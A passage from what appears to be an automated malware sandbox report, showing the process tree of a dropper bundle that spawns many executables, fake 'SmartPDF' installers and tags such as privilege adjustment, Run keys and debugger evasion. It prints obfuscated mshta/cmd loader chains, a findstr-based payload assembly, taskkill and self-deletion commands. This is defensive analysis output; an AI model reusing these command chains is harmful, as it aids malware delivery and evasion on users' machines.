  "C:\Users\Admin\Documents\P16ofDXrRIjcgmlh_CM6ho3M.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- - C:\Users\Admin\AppData\Roaming\2589432.exe
    "C:\Users\Admin\AppData\Roaming\2589432.exe"
    3⤵
    PID:3664
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3664 -s 2328
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:6612
- - C:\Users\Admin\AppData\Roaming\3540841.exe
    "C:\Users\Admin\AppData\Roaming\3540841.exe"
    3⤵
    PID:4788
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: SetClipboardViewer
      PID:1892
- - C:\Users\Admin\AppData\Roaming\4212694.exe
    "C:\Users\Admin\AppData\Roaming\4212694.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Users\Admin\AppData\Roaming\4910961.exe
    "C:\Users\Admin\AppData\Roaming\4910961.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2252
- - C:\Users\Admin\AppData\Roaming\2407026.exe
    "C:\Users\Admin\AppData\Roaming\2407026.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5296
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 2464
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      PID:4972
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 2464
      4⤵
      Program crash
      PID:8608
- C:\Users\Admin\Documents\hXs7V6wVyEQwn1KTElchP9EQ.exe
  "C:\Users\Admin\Documents\hXs7V6wVyEQwn1KTElchP9EQ.exe"
  2⤵
  - Executes dropped EXE
  PID:4496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 280
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2412
- C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe
  "C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe"
  2⤵
  - Executes dropped EXE
  PID:1652
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
    3⤵
    PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\qYR4nzypVyFJN472kUDHVHqD.exe" ) do taskkill -F /Im "%~nXN"
      4⤵
      PID:3968
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F /Im "qYR4nzypVyFJN472kUDHVHqD.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2156
    - - C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE
        
        KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG
        5⤵
        Executes dropped EXE
        
        PID:3524
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
        6⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"
        7⤵
        
        PID:5672
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\p_ZPP.J p
        6⤵
        
        PID:4708
- C:\Users\Admin\Documents\sm9PYHfj18WU6helQ6bqJ_DZ.exe
  "C:\Users\Admin\Documents\sm9PYHfj18WU6helQ6bqJ_DZ.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Users\Admin\Documents\pS1lAs69AU4dP7M5ZxgsPSZ4.exe
  "C:\Users\Admin\Documents\pS1lAs69AU4dP7M5ZxgsPSZ4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3920
- - C:\Users\Admin\AppData\Roaming\1002164.exe
    "C:\Users\Admin\AppData\Roaming\1002164.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3228 -s 2312
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3188
- - C:\Users\Admin\AppData\Roaming\2485647.exe
    "C:\Users\Admin\AppData\Roaming\2485647.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- - C:\Users\Admin\AppData\Roaming\5355461.exe
    "C:\Users\Admin\AppData\Roaming\5355461.exe"
    3⤵
    - Executes dropped EXE
    PID:1296
- - C:\Users\Admin\AppData\Roaming\3994920.exe
    "C:\Users\Admin\AppData\Roaming\3994920.exe"
    3⤵
    PID:5196
- - C:\Users\Admin\AppData\Roaming\3471799.exe
    "C:\Users\Admin\AppData\Roaming\3471799.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5816
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 2428
      4⤵
      Program crash
      PID:9040
- C:\Users\Admin\Documents\yS9T56oZWXoqJTlZbDPY26ud.exe
  "C:\Users\Admin\Documents\yS9T56oZWXoqJTlZbDPY26ud.exe"
  2⤵
  - Executes dropped EXE
  PID:2164
- - C:\Users\Admin\AppData\Local\Temp\is-TFAFR.tmp\yS9T56oZWXoqJTlZbDPY26ud.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-TFAFR.tmp\yS9T56oZWXoqJTlZbDPY26ud.tmp" /SL5="$1020C,138429,56832,C:\Users\Admin\Documents\yS9T56oZWXoqJTlZbDPY26ud.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    PID:3440
  - - C:\Users\Admin\AppData\Local\Temp\is-NMVES.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-NMVES.tmp\Setup.exe" /Verysilent
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:5516
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"
        5⤵
        Executes dropped EXE
        
        PID:2144
      - C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a
        6⤵
        
        PID:6572
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3416
      - C:\Users\Admin\AppData\Local\Temp\tmpE88C_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpE88C_tmp.exe"
        6⤵
        Adds Run key to start application
        
        PID:7420
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        7⤵
        
        PID:8068
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Pei.xll
        7⤵
        
        PID:7608
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        8⤵
        
        PID:7304
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll
        9⤵
        
        PID:8576
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
        
        Tra.exe.com o
        9⤵
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:9828
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
        10⤵
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:9712
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
        11⤵
        
        PID:6812
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
        12⤵
        
        PID:9756
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        9⤵
        Runs ping.exe
        
        PID:8356
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1056
      - C:\Users\Admin\AppData\Roaming\7027058.exe
        
        "C:\Users\Admin\AppData\Roaming\7027058.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6892
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6892 -s 2312
        7⤵
        Program crash
        
        PID:9288
      - C:\Users\Admin\AppData\Roaming\3302361.exe
        
        "C:\Users\Admin\AppData\Roaming\3302361.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6308
      - C:\Users\Admin\AppData\Roaming\4559118.exe
        
        "C:\Users\Admin\AppData\Roaming\4559118.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6720
      - C:\Users\Admin\AppData\Roaming\7237574.exe
        
        "C:\Users\Admin\AppData\Roaming\7237574.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6912
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 2464
        7⤵
        Program crash
        
        PID:5912
      - C:\Users\Admin\AppData\Roaming\4052834.exe
        
        "C:\Users\Admin\AppData\Roaming\4052834.exe"
        6⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:7028
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3652
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
        6⤵
        
        PID:7940
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        7⤵
        Delays execution with timeout.exe
        
        PID:5280
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs7
        5⤵
        Adds Run key to start application
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:5680
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e0b846f8,0x7ff8e0b84708,0x7ff8e0b84718
        6⤵
        
        PID:5624
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2644 /prefetch:8
        6⤵
        
        PID:6452
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6316
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 /prefetch:2
        6⤵
        
        PID:4256
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        6⤵
        
        PID:2680
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:1
        6⤵
        
        PID:7356
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:1
        6⤵
        
        PID:1880
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
        6⤵
        
        PID:7240
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5560 /prefetch:8
        6⤵
        
        PID:2912
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5560 /prefetch:8
        6⤵
        
        PID:8892
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5744 /prefetch:2
        6⤵
        
        PID:4732
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,9015232517830070217,14661606240279741524,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
        6⤵
        
        PID:5052
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        5⤵
        
        PID:3284
      - C:\Users\Admin\AppData\Local\Temp\is-3PRA1.tmp\stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3PRA1.tmp\stats.tmp" /SL5="$30340,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        6⤵
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:3952
        
        C:\Users\Admin\AppData\Local\Temp\is-127Q7.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-127Q7.tmp\Setup.exe" /Verysilent
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7960
        
        C:\Users\Admin\Documents\qspJDdnS_pE7ZZ_uQwQAL8an.exe
        
        "C:\Users\Admin\Documents\qspJDdnS_pE7ZZ_uQwQAL8an.exe"
        8⤵
        
        PID:8700
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        "C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe"
        8⤵
        Suspicious use of SetThreadContext
        
        PID:8584
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6860
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10040
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9876
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4216
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9536
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1300
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1300 -s 28
        10⤵
        Program crash
        
        PID:4292
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:2720
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:1448
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5332
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9296
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8668
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5232
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8632
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7216
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8128
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6048
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9192
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:2660
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3568
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10004
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9092
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:9232
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8508
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6192
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:8776
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8608
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8524
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9632
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8140
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9412
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9412 -s 28
        10⤵
        Program crash
        
        PID:2844
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9560
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9044
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7340
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5556
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8084
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4708
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9228
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6876
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
